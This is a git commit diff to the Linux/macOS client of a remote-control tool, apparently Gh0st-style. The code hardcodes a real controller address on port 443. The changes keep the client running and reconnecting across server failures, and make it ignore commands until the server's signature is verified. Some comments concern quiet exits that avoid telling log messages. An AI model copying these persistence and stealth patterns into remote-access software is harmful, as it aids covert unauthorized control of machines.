Improve: Embed Modern Terminal DLL in master's resources

Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
This commit is contained in:
yuanyuanxiang
2026-05-08 22:02:01 +02:00
parent f85cc8b86c
commit a354f1ed86
10 changed files with 91 additions and 39 deletions

View File

@@ -37,9 +37,12 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
uint64_t g_myClientID = 0;
// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。
// 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
// g_settingsVerified 跨线程访问 → 用 atomic 保证可见性。
std::string g_loginMsg;
time_t g_loginTime = 0;
bool g_settingsVerified = false;
std::atomic<bool> g_settingsVerified{false};
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
@@ -800,6 +803,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
if (!g_settingsVerified.load(std::memory_order_acquire) &&
szBuffer[0] != CMD_MASTERSETTING) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
@@ -857,23 +868,20 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
// 强制要求完整 MasterSettings包含 Signature 字段)。包不完整 → 视为非授权服务端
// 包不完整 → 不立即退出,让心跳循环 30s 超时断开重连
if (settingSize < (int)sizeof(MasterSettings)) {
g_bExit = S_CLIENT_EXIT;
return TRUE;
}
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
// 验证签名。失败 → 静默退出(不打印关键词日志)
// 签名校验失败 → 同上,让超时兜底+重连处理
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
g_bExit = S_CLIENT_EXIT;
return TRUE;
}
g_settingsVerified = true;
g_settingsVerified.store(true, std::memory_order_release);
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
@@ -1005,7 +1013,7 @@ int main(int argc, const char* argv[])
// 进入新连接,重置服务端身份校验状态
g_loginTime = time(nullptr);
g_settingsVerified = false;
g_settingsVerified.store(false, std::memory_order_release);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
@@ -1027,10 +1035,11 @@ int main(int argc, const char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端
if (!g_settingsVerified && g_loginTime > 0 &&
// 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接
// 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。
if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 &&
time(nullptr) - g_loginTime > 30) {
g_bExit = S_CLIENT_EXIT;
ClientObject->Disconnect();
break;
}